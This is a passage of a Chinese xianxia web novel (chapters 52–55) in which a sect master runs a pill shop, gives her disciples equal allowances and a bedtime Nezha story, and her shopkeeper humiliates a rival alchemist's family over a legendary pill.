林思思有种不祥的预感:“所…所以呢?” “所以!”苏心瑶得意地扬起下巴,财大气粗地一挥手,“我决定嗑药,药仙谷最近不是大促销吗?本小姐最不缺的就是灵石,我就不信,我把丹药当饭吃,修为还涨不上去,等我神功大成,哼哼,就是云见月的死期,啊哈哈哈——” 林思思:“……” 大小姐啊,嗑药嗑出来的修为,那能跟稳扎稳打修炼的一样吗?根基不稳,后患无穷啊,你能不能长点心? 楼上雅间,正在给渺渺夹菜的云见月,敏锐地捕捉到了自己名字。 她循声向楼下望去,正好看到站在药仙阁门口发表“嗑药复仇宣言”的苏心瑶和林思思。 云见月嘴角抽了抽,一时竟无言以对。 苏心瑶被隔壁长春堂那人声鼎沸、灵光乱闪的盛况吸引了注意力。 “咦?思思,那家铺子在卖什么?怎么这么多人?跟疯了一样。”苏心瑶好奇地伸长脖子。 她随手拦住一个修士:“喂,里面卖什么的?那些人激动什么?” 那修士被拦住,有些不耐烦,但看苏心瑶衣着不凡,还是快速答道:“还能卖什么?极品丹药啊,你没看到吗?吃了当场突破,效果逆天,快让开,我还得进去抢几颗。” 说完,一把推开苏心瑶,奋力扎进了人堆。 “极品丹药?”苏心瑶和林思思面面相觑,都从对方眼中看到了震惊和茫然。 苏心瑶下意识地看向药仙阁:“药仙阁也有丹药啊,他们怎么不买?” 旁边一个看热闹的修士听到了,嗤笑一声:“药仙阁那都是下品中品货色,还死贵,人家长春堂卖的可都是极品丹,价格跟药仙阁的下品丹差不多,傻子才去买药仙阁的。” “极品丹?跟下品丹一个价?还效果逆天?”苏心瑶和林思思彻底惊呆了,嘴巴张得能塞进鸡蛋。 就在这时,药仙阁那胖掌柜满脸堆笑地迎了出来,热情招呼:“哎哟,两位仙子光临蔽店,真是蓬荜生辉,快里面请,我们药仙谷丹药今日大促,五折优惠,品质有保障……” 然而,他话还没说完,就见苏心瑶和林思思仿佛根本没听见他说话,两人眼中瞬间爆发出比抢购人群更炽热的光芒。 “极品丹,思思,快!我们也去买!”苏心瑶尖叫一声,拉起还没完全反应过来的林思思,不管不顾地一头扎进了长春堂门口那汹涌的人潮之中。 胖掌柜脸上的笑容瞬间石化,气得浑身肥肉乱颤,鼻子都差点歪到耳后根。 他猛地扭头,对着空荡荡的店内怒吼:“张三!李四!你们两个死哪去了?还不快滚出来招呼......呃?” 他的怒吼戛然而止。 只见他的两个伙计张三和李四,正红光满面、精神抖擞、甚至带着点意犹未尽的神情,奋力从长春堂门口那汹涌的人潮里挤了出来。 他们身上还残留着刚突破的微弱灵力波动,显然刚刚也去长春堂“照顾”了竞争对手的生意。 胖掌柜看着自己这两个吃里扒外容光焕发的伙计,再看着隔壁那人声鼎沸、灵光冲天的长春堂,只觉得眼前一黑,一口老血差点喷出来。 完了!这下全完了!连自己人都叛变了! 第52章 父母之爱子 ,则为之计深远 长春堂的展示柜里,一千颗极品丹药如同被狂风扫过,不消半个时辰便销售一空。 修士们捧着丹瓶,要么当场突破,要么急匆匆往家赶,连空气中都飘着灵力波动的余韵。 财大气粗的苏心瑶和林思思无疑是人群中最耀眼的焦点。 两人凭借着惊人的财力,各自豪掷灵石,每人都买到了三十多颗丹药,怀里抱得满满当当,引得周围一片艳羡的抽气声。 苏心瑶的脸兴奋得通红,得意之情溢于言表。 “哈哈哈——有了这些极品丹药,本小姐很快就能功力大增,把云见月远远甩在身后。 云见月,你就洗干净脖子等着吧,本小姐迟早让你匍匐在我脚下痛哭流涕,哈哈哈——”她笑得前仰后合,那副“小人得志”的模样,引得旁人忍俊不禁。 林思思在一旁扶额:“瑶瑶,先不说能不能超过云见月,你好歹拍掉身上的脚印……” “拍什么脚印?这是我胜利的勋章!”苏心瑶扬了扬下巴,抱着丹药转身就走,还不忘回头冲长春堂的方向喊,“明天我还来!” 将她那副“蠢萌”宣言和叉腰大笑的姿态尽收眼底的云见月:“……” “送钱上门还这么有气势。”花影在一旁偷笑,“要不下次给她打个折?” 云见月眼底带着笑意:“不必,她高兴就好。” 看在这“大客户”的份上,就让她多做会儿美梦吧。 一顿饱餐之后,一行人回到了玄天宗。 青璃将今日的收益清点完毕,交给云见月。 云见月粗略一数竟有十万之多。 除去草药成本,净赚五万有余。 “哇!好多亮晶晶的灵石!”苏渺渺凑过来,小脸上满是惊叹。 郁仙震惊之余,一丝苦涩悄然蔓延。 “原来……卖丹药这么赚钱。”她低声呢喃,声音里带着一丝不易察觉的委屈。 怪不得药仙谷处处都金碧辉煌,连铺地的砖石都泛着灵光。 那些奢华的景象在她脑海中闪过,与她在谷中所遭受的冷落、忽视形成了刺眼的对比。 哪怕药仙谷坐拥如此泼天富贵,却吝啬于在她这个亲生女儿身上花费一分一毫。 她不怕生活的清苦,也能咬牙承受修炼的艰辛,可她最无法忍受的,是那份无处不在的不公平。 她所求的,不过是像寻常孩子一样,得到父母平等的关注和爱护,仅仅是这么一点卑微的愿望,在那个冰冷的家里,也成了遥不可及的奢望。 一股难以言喻的酸楚和委屈涌上心头,郁仙压下泪意,抬起头望向云见月。 那双总是带着些许疏离和警惕的眼眸,此刻盈满了近乎偏执的依赖。 仿佛溺水之人终于抓住救命稻草般,死死的不肯松手。 云见月何其敏锐,瞬间便捕捉到了郁仙眼中那汹涌的情绪波动。 那眼神里的受伤、渴望和不安全感,像细针一样刺了她一下。 她明白,这孩子的心伤,并非源于物质的匮乏,而是源于“不患寡而患不均”带来的深刻背叛感和价值否定。 云见月没有丝毫犹豫,脸上漾开温柔的笑意,伸手将那堆灵石大致分成六份。 五份给孩子们,一份留给宗门公用。 “来,宝贝们。”她的声音清越而温暖,“这些是你们的零用钱。” “啊?给我们?” “师尊,我们用不到这么多灵石的。” “是啊,宗门里什么都有,我们没什么要买的。” “这些灵石该师尊留着。” 云见月看着孩子们纯真推拒的样子,心中更添怜爱。 “拿着。”云见月把袋子塞进他们手里,语气温柔却坚定,“小孩子怎么能没有零用钱呢?不仅今天有,以后每月都有,想买什么就买什么,不用省着。” 她特意把郁仙的袋子递得更稳些,看着她的眼睛:“仙儿,这是你的,每个人都有份。” 她特意强调“每个人”,绝对不会厚此薄彼。 她深知,真正的“富养”,远不止于物质的丰裕,更在于精神上的充盈与安全感的建立。 她要让孩子们真切地感受到:在这个家里,他们每一个人都是被珍视的个体,他们的付出会被看见,他们的存在本身就有价值。 在她看来,他们不仅仅是她的徒弟,更像是她的孩子。 父母之爱子,则为之计深远。 她是师尊,可也是又当爹又当妈,她此刻的心,与父母是一样的。 郁仙看着手中那份属于自己的、和其他人一模一样的灵石,那份尖锐的刺痛和委屈,如同被温热的泉水缓缓包裹、抚平。 那长久以来因被忽视而冰封的心湖,裂开了一道大大的缝隙,暖流涌入。 她再也忍不住,扑上前,用力搂住了云见月的脖子,将小脸深深埋进师尊温暖馨香的颈窝里,声音闷闷的,却又充满了破土而出的勇气: “师尊,今晚,可不可以给我讲睡前故事?” 她真的好羡慕渺渺,每天晚上都能听着师尊温柔的声音入睡,那是她从未体验过的、属于“家”的温暖。 此言一出,其他四个小家伙也围了上来,眼睛都亮晶晶的。 “师尊师尊,我也要听。” “师尊不能偏心。” 五个小家伙第一次如此整齐、如此主动地向她提出要求,充满了信赖和亲近,再也找不到半分当初的怯懦与防备。 看着孩子们围着自己撒娇的模样,云见月的心都化了。 这正是她所期望的,只有被真心对待的孩子,才会如此自然地流露出依赖和请求。 这恰恰证明,孩子们对她竖起的壁垒正在消融,开始发自内心地接受她这个师尊,接受玄天宗这个家了。 这是天大的好事。 “好好好,”云见月笑着,挨个摸了摸他们的小脑袋,“师尊今晚就给你们讲故事,那你们想听什么呀?” “师尊讲什么,我们就听什么!”五个小家伙异口同声,声音清脆响亮。 一双双眼睛在灯火下闪烁着纯粹的信任和期待的光芒。 云见月略一沉吟,道:“那为师就给你们讲《哪吒闹海》的故事,好不好?” 这是她深思熟虑的选择。 给孩子们讲故事就不仅仅只是故事,也要让他们感受到故事的精神,要蕴含着引导和期许。 她的五个徒儿身世各异,却都饱受苦难。 他们需要的,正是向不公的命运说“不”的勇气,是不屈不挠,勇于反抗的精神。 哪吒敢于抽龙筋、闹龙宫,不惧强权、反抗父权天命的形象,正切合了这种精神内核。 虽然《孙悟空大闹天宫》也很好,但却是开头轰轰烈烈,终究被压五指山,后来更是被佛门“招安”…… 云见月觉得,还是哪吒的“我命由我不由天”更纯粹、更痛快些,更适合给这些刚刚开始尝试挣脱命运枷锁的孩子们听。 就在这时,一个清冽悦耳的声音带着几分慵懒响起:“我也想听。” 虞青焰倚在门边,月光在他俊美的侧脸上投下淡淡的阴影,那双深邃的眼眸此刻带着点孩子气的期待,望着云见月。 紧接着,青璃也凑了过来,金色的眼眸里满是好奇,“主子,青璃也可以一起听吗?” 一个清冷绝尘的美人,一个俊美傲娇的美男,此刻都眼巴巴地望着她,那画面既养眼又带着几分反差萌的可爱。 云见月的心软得一塌糊涂,哪里还舍得拒绝? 她忍俊不禁,笑着点头:“好,都来都来,今晚咱们玄天宗开故事会。” 夜色温柔的洒在庭院内。 五个孩子在石桌前围成一圈,拖着下巴,目光聚焦在云见月身上。 虞青焰依旧半躺在他惯常的那张竹制摇椅上,姿态闲适,月光流淌在他的百花霓裳上,宛如谪仙入画。 青璃则变回半米长的小青蛇,乖巧地盘在石桌角,小小的蛇头微微昂起,一眨不眨地看着云见月,乖巧得不像话。 晚风带着山间特有的凉意和草木清香,轻轻拂过庭院,送来几缕不知名的馥郁花香。 草丛里,不知名的夏虫低低鸣唱,更衬得这方天地一片静谧祥和。 云见月清了清嗓子,“很久很久以前,在遥远的陈塘关,有一位总兵大人叫李靖,他有一位夫人,怀胎三年零六个月,生下了一个肉球……” 随着她娓娓道来的讲述,孩子们的表情也随之变幻。 当听到太乙真人收徒赐宝、哪吒出生不凡时,他们眼中闪烁着惊奇。 听到哪吒打死夜叉、抽了龙王三太子敖丙的筋时,孩子们紧张地捂住了嘴。 听到四海龙王水淹陈塘关,逼得李靖交出哪吒时,孩子们脸上都露出了愤怒和不平。 而当哪吒为了不连累父母百姓,毅然决然剔骨还父、割肉还母时,孩子们都红了眼睛。 最后听到哪吒魂魄得遇莲花化身重生,大闹龙宫讨还公道时,孩子们都长长舒了一口气,眼中重新燃起明亮的光彩,仿佛自己也跟着经历了一场酣畅淋漓的反抗。 云见月的声音抑扬顿挫,将那个不畏强权、敢于反抗、我命由我不由天,只杀不渡的三坛海会大神的故事,深深烙印在每个人的心里。 月光温柔地笼罩着他们,整个玄天宗,都浸在这难得的温馨里。 与玄天宗这片月下温馨祥和的景象截然相反的,是药仙谷弥漫的低气压。 郁长林端坐在书房内,脸色阴沉得能滴出水来。 他刚从萧家老爷子的寿宴上回来,此行非但没能达成目的,反而碰了一鼻子灰,心情恶劣到了极点。 郁家与萧家同属四大世家之列,萧老爷子大寿,郁家自然受到了邀请。 更何况,他的宝贝女儿郁姝儿与萧家那位出了名的“废物”嫡孙还有婚约,两家表面关系还算亲厚。 他此行赴宴,贺寿是虚,真正的目的,是为了他丹田被毁、仙途尽断的儿子郁明轩。 能修复丹田的至宝,整个下域也寥寥无几。 郁长林翻遍古籍,只找到三样东西。 第一,上古玄菌,枯荣轮回菇。 此物只在传说中出现过,早已绝迹万年,希望渺茫。 第二,玄玉参王。 虽不及枯荣轮回菇逆天,但也是千年难遇的奇珍,可遇不可求。 第三,便是天阶极品大还丹。 而炼制这天阶极品大还丹,最核心、最不可或缺的一味主药,便是“还阳草”。 此草蕴含一丝轮回生机,乃是天地奇珍。 据他所知萧家就珍藏着一株,那是萧老爷子那位惊才绝艳却英年早逝的嫡长子在某个上古秘境中九死一生带回来的,一直被萧家奉为镇族之宝,秘不示人。 郁长林此次便是为此草而去。 他许诺了诸多好处,甚至暗示愿意付出药仙谷珍藏的几种顶级丹方作为交换。 然而,萧老爷子只是捋着胡须,眼神淡漠地拒绝了他:“郁谷主,非是老夫吝啬,这天阶极品大还丹,岂是易炼之物? 非九品丹师不能尝试,且成丹几率渺茫。 你如今只是六品丹师,这还阳草予你,无异于明珠暗投,暴殄天物。恕老夫不能割爱。” 丹药分为:天、地、玄、黄,四个品阶。 每一个品阶又分为:极品、上品、中品、下品,四个等级。 大还丹属于天阶极品丹药,是丹药中最顶级的存在,故而需要具备九品炼丹师资格才能炼制。 而且,就算是九品炼丹师,也不一定能一次成功。 道理,郁长林何尝不懂? 可被如此直白地拒绝,想到儿子郁明轩日渐消沉绝望的模样,郁长林只觉得一股邪火在胸腔里灼烧。 难道他寄予厚望的儿子的仙途,就这样彻底断送了吗? 他不甘心!绝对不甘心! 回到药仙谷,郁长林越想越气,根本无法静心。 他烦躁地从储物袋中掏出闪烁着微光的玉简。 当看到掌柜的的传讯,本就不好的心情顿时怒火中烧。 “砰!”他一掌狠狠拍在书案上,坚硬的灵木桌面顿时裂开几道缝隙。 “坊市那么大,这长春堂却偏偏开在我药仙阁的隔壁,这不是故意挑衅是什么?” 郁长林眼中寒光闪烁,咬牙切齿,“好好好!明日我倒要看看,这不知从哪里冒出来的长春堂,卖的到底是什么狗屁极品丹药,竟能如此抢手。” 第53章 郁长林带着妻女来长春堂找茬,被青璃打脸 坊市,晨曦微露,但最热闹的街角早已人声鼎沸。 长春堂那别具一格的琉璃门面尚未开启,门外却已人头攒动,喧嚣鼎沸,比昨日开张时更为壮观。 “听说今天依旧全都是极品丹。” “我凌晨就来排队了,这次说什么也得抢一颗!” 这汹涌的人潮,与隔壁药仙阁门可罗雀的冷清景象形成了鲜明的对比。 药仙阁的掌柜脸色比锅底还黑,气得脸上的肥肉都在颤抖。 尤其是看到自家伙计张三、李四挤在人群最前排,踮着脚尖,伸长脖子,举着灵石满脸兴奋的样子,更是差点背过气去。 “两个吃里扒外的东西!”他咬牙切齿,却又忍不住咽了口唾沫。 说实话,若不是穿着药仙阁的掌柜服,他真想也冲过去抢两颗尝尝……可恶! 他缩回自家冷清的铺子里,心里祈祷:哎哟我的谷主大人喂,您老倒是快点来呀,再磨蹭,隔壁的丹药就都卖完了。 就在这时,长春堂的琉璃推拉门“唰”地一声被拉开。 青璃眼睛上蒙着青色丝带,身姿挺拔,缓步走了出来。 人群瞬间骚动,推搡着往前涌:“开门了开门了。” 门开的瞬间,如同打开了泄洪的闸门,门口汹涌的人潮瞬间爆发出巨大的骚动。 “让让!” “我先来的!” “别挤!” 人群沸腾,争先恐后地向前涌去,场面眼看就要失控。 “肃静!”青璃清冷如冰的声音不高不低地响起,却奇异地盖过了所有嘈杂。 更令人心悸的是,在场的每一个人,都仿佛感觉到一道阴冷、锐利、如同实质般的目光透过那层薄纱扫视过来。 那目光带着无形的压力,扫过人群,让他们下意识地重新排好了队,连大气都不敢喘。 药仙阁的掌柜看到这一幕,胖脸上的肉抖得更厉害了,心中骇然:这长春堂的掌柜,好强的气势,这绝不是普通人。 接下来的售卖流程快得惊人。 有了昨日口碑的发酵,不到一个时辰,展示柜内琳琅满目的丹药便被一扫而空。 买到丹药的修士喜笑颜开,心满意足地离开。 没抢到的修士唉声叹气,一步三回头地散去,长春堂又渐渐恢复了平静。 药仙阁的胖掌柜正急得团团转,远远看见一行人走来,眼睛顿时亮了。 “谷主,夫人,大小姐,您们总算来了。”他一路小跑迎上去,擦着汗道。 郁长林先扫了一眼自家门可罗雀的药仙阁,再望向隔壁已然冷清下来的长春堂,脸上顿时浮起浓浓的不屑。 “就是这家?门面倒是用了些新奇的琉璃,可惜门庭冷落,也不过如此。” 他背着双手,下巴微抬,语气充满了上位者的轻蔑,“区区新开的小店,也敢妄称‘极品丹药’?莫不是欺世盗名,以次充好,糊弄我修真同道?” 柳静怡挽着丈夫的手臂,挑剔地打量着长春堂的门楣,嘴角撇了撇:“夫君说的是,这地方看着就透着一股小家子气,能有什么好东西? 怕不是弄了些障眼法,骗骗那些没见过世面的散修罢了。” 郁姝穿着一身价值不菲的云锦罗裙,头上珠翠环绕,小脸养得红润娇嫩,再也不见几天前被郁仙差点打死的狼狈。 她眼神里是毫不掩饰的傲慢,根本不相信一个新开的小店能拿出比药仙谷更好的东西。 在她看来,敢跟药仙谷抢生意,就是不知死活。 “走,我们进去看看去。”郁长林带着妻女,迈着倨傲的步伐,径直走向长春堂门前。 尽管嘴上万般瞧不上,但那通体透亮、毫无杂质的巨大琉璃门面,在阳光下折射出璀璨光华,透亮得能映出人影,实在令人无法忽视。 整条街上,长春堂的装修风格独树一帜,精致、通透、大气,充满了难以言喻的高级感,瞬间将周围店铺衬得黯然失色。 更让郁长林瞳孔骤然收缩的,是门两侧悬挂的一副对联。 上联:丹承上界玲珑法 下联:药济苍生造化功 “上界玲珑法?”难道是上域丹道世家? 否则怎么可能有那么多极品丹?药仙谷传承千年,也没底气说“承上界法”。 如今的药仙谷,能炼制的最高品阶也不过玄阶,在上域丹道世家面前,简直就是弟弟。 这底蕴,这背景……郁长林心底第一次生出了强烈的忌惮和不安。 他强压下心中的惊涛骇浪,脸上维持着审视的傲慢,实则眼神深处已带上了一丝凝重:“进去看看便知真假。” 他示意妻女,抬步迈入长春堂。 店内的陈设简洁明亮,柜台泛着温润的光,墙上的展示柜整齐排列。 郁长林背着手,目光挑剔地四处打量,仿佛在巡视自己的领地,那份高高在上的姿态毫不掩饰。 “装潢得倒是令人耳目一新,不过,丹药看的是品质,可不是看装潢如何花哨。” 柜台后,青璃纤细的手指正快速拨弄着算珠,听见动静,缓缓抬起了头。 轻纱覆盖下,那双独特的金色眸子冷淡地扫过郁长林,随即落在了他身旁的郁姝身上。 郁姝一身粉嫩,娇俏可人,被精心打扮得像个小公主,脸上带着被娇宠惯了的骄纵和好奇。 青璃的眼神淡淡。 这就是那个鸠占鹊巢、夺走了本该属于仙儿小姐一切的假货? 就凭这被丹药堆砌出来的修为,这浮躁骄纵的心性,还有那连丹炉火候都未必能掌握好的炼丹天赋? 青璃心中涌起强烈的不屑:药仙谷识人不明至此,真是瞎了眼,放着真正的明珠不要,却把这颗鱼目当宝贝供着。 或许是青璃那带着审视和冷意的目光太过明显,郁姝感觉很不舒服。 她眨了眨眼睛,忽然指着青璃的脸,用一种故作天真的语气,道:“姐姐,你的眼睛怎么蒙着轻纱呀?跟个瞎子似的。” 说完,她仿佛才意识到自己“失言”,赶忙抬起小手捂住嘴巴,大眼睛怯生生地看向青璃:“姐姐,我……我不是故意的,你不会生姝儿的气吧?” 青璃:“……” 她活了上千年,在烈焰风火林也是称霸一方的存在,见过形形色色的生灵,还是第一次遇到这么低级又刻意的表演。 她连一个眼神都懒得再给郁姝,直接无视了她。 被彻底无视的郁姝,脸上那副楚楚可怜的表情瞬间僵住,随即转为难堪和羞恼。 她立刻像受惊的小鸟,紧紧抓住柳静怡的手,声音带着哭腔:“娘亲,这个姐姐好冷漠,姝儿怕。” 柳静怡见宝贝女儿受委屈,护犊之心瞬间爆棚,立刻对着青璃厉声斥责:“你这人怎么回事?我家姝儿才多大?童言无忌不懂吗?她不过是说了句实话,你眼睛蒙着布,不是瞎子是什么?你挺大个人,跟一个孩子计较什么?还有没有点教养?” 柳静怡尖利刻薄的话语,如同点燃了炸药桶的引线。 在烈焰风火林那种残酷环境中生存、厮杀、最终成为唯一修成人形的大妖,青璃骨子里流淌的是属于顶级掠食者的骄傲和凶戾。 一千多年来,从未有生灵敢如此对她说话。 那郁姝虽小,但已有八九岁年纪。 而她,化形为人不过三五日光景。 大家都是第一次做人,凭什么她就要忍气吞声,被这对母女如此羞辱? 一股冰冷、狂暴的恐怖威压骤然从青璃身上爆发出来,整个长春堂内的温度仿佛瞬间降至冰点。 柳静怡的话卡在喉咙里,双腿一软差点跪下,牙齿不受控制地打颤。 郁姝更是吓得脸色惨白,死死抓住母亲的衣角,脑海中突然闪过不久前在玄天宗山门外,被云见月用威压压得跪在地上动弹不得的恐怖经历。 眼前这个青衣女子身上散发出的气息,同样强大得令人窒息,让她从灵魂深处感到战栗。 郁长林的脸色也在威压降临的刹那变得无比难看。 他本以为对方只是个有点修为的普通掌柜,却万万没想到,这轻纱蒙眼的青衣女子,竟然是一位货真价实的元婴期大能。 元婴期! 整个下域都屈指可数的顶尖存在。 竟然窝在一家丹药铺子里当掌柜? 连一个看店的掌柜都是元婴大能,那这长春堂背后的主人……该是何等恐怖的存在? 药仙谷的名头虽然响亮,但那靠的是祖上积累的丹道底蕴和垄断地位。 传到他郁长林这一代,谷中实力早已大不如前。 他自己也不过是金丹后期大圆满的修为,在一位真正的元婴初期大能面前,根本毫无胜算,对方一个念头就能碾死他。 “仙、仙子息怒!”郁长林的态度瞬间软化,甚至微微躬身,“小女年幼无知,口无遮拦,若有得罪之处,郁某在此替她赔罪,恳请仙子大人有大量,莫要与孩子一般见识。” 他姿态放得极低,完美诠释了什么叫欺软怕硬。 青璃收回威压,声音依旧平淡:“丹药卖完了。” “你这是什么态度!”柳静怡还在嘴硬,尖声道:“我们是顾客,你就是这么对待顾客的?” 郁姝也终于缓过神来,她不敢再去看青璃,目光却在店内四处乱瞟,忽然,她指着展示柜最中间、一个单独水晶格子里摆放的唯一一颗丹药,大声道:“你骗人,那里明明还有一颗丹药,爹爹,娘亲,你们快看。” 郁长林和柳静怡顺着她指的方向看去,瞳孔骤然收缩。 那展示柜最中间,静静躺着一枚通体紫金、丹纹如盘龙的丹药,散发着令人心悸的灵力波动。 “那、那是……天阶丹药?”郁长林失声惊呼,心脏狂跳不止。 整个下域,别说天阶丹,连地阶上品都寥寥无几。 他拿来救姝儿的那枚天阶极品大还丹,还是祖上留下来的镇谷之宝。 这长春堂,到底是什么来头? 天阶至宝,就这么随意的摆在店里? 第54章 六岁就能炼制地阶极品丹,到底是何等妖孽 郁长林的目光死死黏在展示柜中央那枚通体紫金、丹纹如盘龙翱翔的丹药上。 他呼吸骤然粗重,眼珠子几乎要瞪出眼眶,声音因极度的激动而完全变调,尖锐刺耳: “紫…紫金元婴丹?真的是紫金元婴丹!地阶极品,这、这怎么可能?”他身为药仙谷谷主,毕生浸淫丹道,自信绝不会看错。 那紫金色的光华,那如活物般游走的龙纹丹气,那磅礴精纯、仿佛蕴含着一丝破丹成婴本源的灵力波动。 丹香入鼻,连金丹后期的他都觉得丹田发烫,仿佛有元婴虚影要破体而出。 绝对是传说中能让金丹期修士无视瓶颈,直接凝婴的逆天神丹——紫金元婴丹!且是地阶极品! 整个青云大陆下域,从未听说有人能炼制出此等神丹。 即便是他郁长林,堂堂六品炼丹师,也只在药仙谷老祖宗留下的残缺孤本中见过。 那丹方炼制手法之繁复、对丹师控火与神识要求之苛刻,堪称地狱级。 以他六品丹师的境界,连尝试的资格都没有。 元婴丹是地阶丹药,非七品丹师不可染指。 七品丹师炼制地阶丹,能出下品已是万幸,中品便是侥幸中的侥幸。 至于地阶极品? 那简直是神话。 非八品、甚至传说中的九品丹道大师,方有渺茫机会触及。 眼前这枚紫金元婴丹,丹体浑圆无瑕,龙纹天成,紫气氤氲,分明是极品中的极品。 这炼制者的丹道造诣,简直高到了他无法想象、只能仰望的境地。 他自己卡在金丹后期数十年,连地阶下品丹都摸不到门槛,这长春堂竟摆着一枚地阶极品丹? “绝!绝了!”郁长林绕着展示柜打转,满脸痴迷。 能炼制出此等神丹的,必是丹道的绝世天才。 难怪这长春堂刚一开张,便引得万人空巷,连他药仙阁的掌柜都坐不住了,换作是他,也得疯。 他咂摸着嘴,心里对长春堂的忌惮又深了几分,这等底蕴,绝非普通店铺。 柳静怡虽然对丹道了解不深,但“地阶极品”四个字,以及丈夫那从未有过的近乎癫狂的失态,已经足够让她明白眼前丹药的惊天价值。 她看着那枚丹药,眼中浮现势在必得的光芒,态度一百八十度大转弯,对着青璃堆起笑脸:“掌柜的,敢问这枚丹药,可是贵店东家亲手炼制的?” 她下意识地认为,能炼制此丹的,必定是长春堂背后的大老板。 青璃声音平淡无波,“不是。” 不是老板? 难道是他们老板偶然所得,作为镇店之宝用来招揽客人的? 他就说嘛,如此神丹,小小的长春堂怎么可能炼制得出来。 心里虽这样自我安慰着,但郁长林还是忍不住追问,“敢问,此丹是哪位大师的手笔?” 青璃的口吻依旧漫不经心,仿佛在说一件微不足道的小事,“是我家三小姐炼制的。” “什么?”郁长林猛地拔高了音调,破音的惊呼在安静的店铺内格外刺耳。 他简直不敢相信自己的耳朵。 三小姐? 一个女子? 还是这长春堂东家的女儿? 青璃蹙眉,显然不耐烦他的大惊小怪。 郁长林只觉得全身一冷,仿佛被蛇类盯着,他连忙压下翻腾的心绪,赔着小心问道:“郁某失态了,敢问......敢问贵府三小姐,芳龄几何?” 他心中猜测,能炼制地阶极品丹,这位“三小姐”怕不是个驻颜有术的老怪物? 岁数可能比他还大。 然而,青璃接下来的话,如同九天惊雷,将郁长林、柳静怡、甚至还在惊魂未定的郁姝,劈得外焦里嫩,三魂七魄都差点离体。 青璃的声音清晰而平淡:“我家三小姐,和你女儿差不多,今年六岁。” 郁长林:“......” 柳静怡:“......” 郁姝:“......” 死寂!绝对的死寂! 郁长林的下巴差点砸在地上,柳静怡脸上的笑容也僵住了,郁姝更是尖声反驳:“不可能!你骗人!六岁怎么可能炼出地阶丹?” “有什么不可能的?”青璃语气微扬,带着几分刻意的嘲讽,“不过是地阶丹罢了,我家三小姐随手可炼。长春堂卖的那些黄阶和玄阶极品丹,皆出自我家三小姐之手,而且......” 她微微一顿,语气带着一种理所当然的傲然,“我家三小姐炼丹,乃是百分百的成丹率。不然,你们以为,我们长春堂哪来这么多极品丹药?” 看着郁家三人呆若木鸡、仿佛世界观崩塌的表情,青璃似乎觉得还不够,又慢悠悠地补充了一句,“至于中品和上品丹,呵,在我们那儿,一般都当零嘴随便吃,吃不完的......喂猫。” 轰隆! 郁长林只觉得脑子里有什么东西彻底炸开了。 中品上品丹当零嘴?喂猫?这简直是在拿药仙谷的命根子当垃圾。 百分百成丹率? 一个六岁的女娃娃? 他眼前阵阵发黑,下意识地捂住了心口,显然被刺激的不轻。 这长春堂的三小姐,到底是何等逆天的妖孽?是丹神转世不成? 他不由得看向自己身边精心呵护、引以为傲的女儿郁姝。 姝儿八岁勉强能炼出黄阶下品丹,再看看人家六岁炼地阶极品……一股强烈的嫉妒几乎要将他淹没。 为什么? 为什么这等妖孽之资不是他的女儿? 如果他能有这样一个女儿,药仙谷何愁不兴?他郁长林何愁不能名垂丹道青史? 他嫉妒得快要发疯了! 同时,一个无比清晰的念头在他心中疯狂扎根:绝对不能和长春堂闹翻,绝对不能! 如果说之前看到门口那副口气冲天的对联,他心中还有三分疑虑。 那么此刻,亲眼目睹这枚由六岁稚童炼制的地阶极品“紫金元婴丹”,他心中最后一丝怀疑也烟消云散了。 这长春堂背后的东家,绝对是来自上域、底蕴深不可测的丹道巨擘。 否则,根本无法解释这匪夷所思的一切。 巴结!必须巴结! 只要搭上这根线,药仙谷何愁不兴?他突破元婴的希望,也就在这枚丹药上了。 郁长林猛地转向青璃,之前的傲慢一扫而空,只剩下近乎疯狂的渴望。 他躬身作揖,姿态放得前所未有的低,“仙子,这枚紫金元婴丹卖吗?无论什么代价,药仙谷倾尽所有也愿购买。” 他的修为已经在金丹后期大圆满停滞了数十年,寿元在流逝,突破的希望却越来越渺茫,无时无刻,他不在渴望突破那层壁垒,踏入元婴之境。 如今,这枚能让他一步登天的神丹就在眼前,唾手可得。 他的仙途,药仙谷的未来,仿佛都系于这一枚小小的丹药之上。 柳静怡也反应过来,急忙附和:“对对对,仙子您开个价,灵石,灵草,奇珍,只要我们药仙谷有的,您尽管开口。” 青璃看着他们急切的模样,嘴角勾起一抹极淡的冷笑。 这紫金元婴丹是仙儿小姐昨天晚上偶然炼制出了一炉,共有十颗。 主子算准了郁长林这老狗今日必来找茬,且必为此丹疯狂,特意让我摆一颗在这醒目的位置。 方才那群修士虽眼热,但要么囊中羞涩,要么境界未至。 青璃指尖微动,眼底闪过一丝与表情不符的嘲弄,主子的算计,果然分毫不差。 她缓缓伸出三根纤细白皙的手指,在郁长林急切的目光中,平静地晃了晃。 郁长林试探着问:“三万?” 青璃摇头。 “三十万?” 青璃再摇头。 郁长林的脸色渐渐难看,心提到了嗓子眼:“三……三百万?” 青璃终于颔首,声音清冷:“三百万下品灵石,不二价。” “三百万?”柳静怡瞬间炸了,“三百万下品灵石那是我们药仙谷一年的收入,你怎么不去抢?” “就这个价。”青璃抬手指向门口,语气冰冷,“嫌贵可以不买,门在那边。” “你……”柳静怡气得脸色涨红,还要破口大骂。 “闭嘴!”郁长林猛地一声厉喝打断了她,眼神凶狠地瞪了柳静怡一眼。 三百万下品灵石,确实是能让药仙谷伤筋动骨的巨款。 但是!如果能换来一个元婴境,一个药仙谷前所未有的元婴谷主,那这灵石就花得绝对值。 “好!三百万就三百万!”郁长林他强忍着肉痛,语速飞快,“我身上没带那么多灵石,仙子稍等,我立刻去取,很快回来。” 他生怕青璃反悔,或者被他人捷足先登,再也顾不得什么仪态风度,一把拉住还在发懵的柳静怡和郁姝,几乎是拖着两人,踉跄却又迅疾地撞出了长春堂的大门。 突破元婴的诱惑,灼烧着他的理智。 看着他们匆匆离去的背影,青璃收回目光,刚想继续整理柜台,一个急促的女声突然响起: “那枚紫金元婴丹……给我!” 只见一个穿着粉霞流云裙的女子如一团火般冲进来,“啪”地将一个鼓鼓囊囊的储物袋拍在柜台上,气喘吁吁道:“三百万……我现在就付!” 第55章 错失紫金元婴丹,郁长林气疯了 青璃看着眼前这个风风火火冲进来的粉裙少女,金色的眸子透过丝带,瞬间认出了她。 这不正是昨日那位出手阔绰、一口气买了二三十颗各类极品丹药的大客户吗? 今早开门时,这姑娘也早早挤在人群最前面,那副踮着脚尖、跃跃欲试、恨不得蹦到别人头顶上的急切模样,实在令人印象深刻。 轮到她时,她瞬间就被展示柜中央的紫金元婴丹吸住。 当她报出“三百万下品灵石”的天价后,少女二话不说,扭头就走。 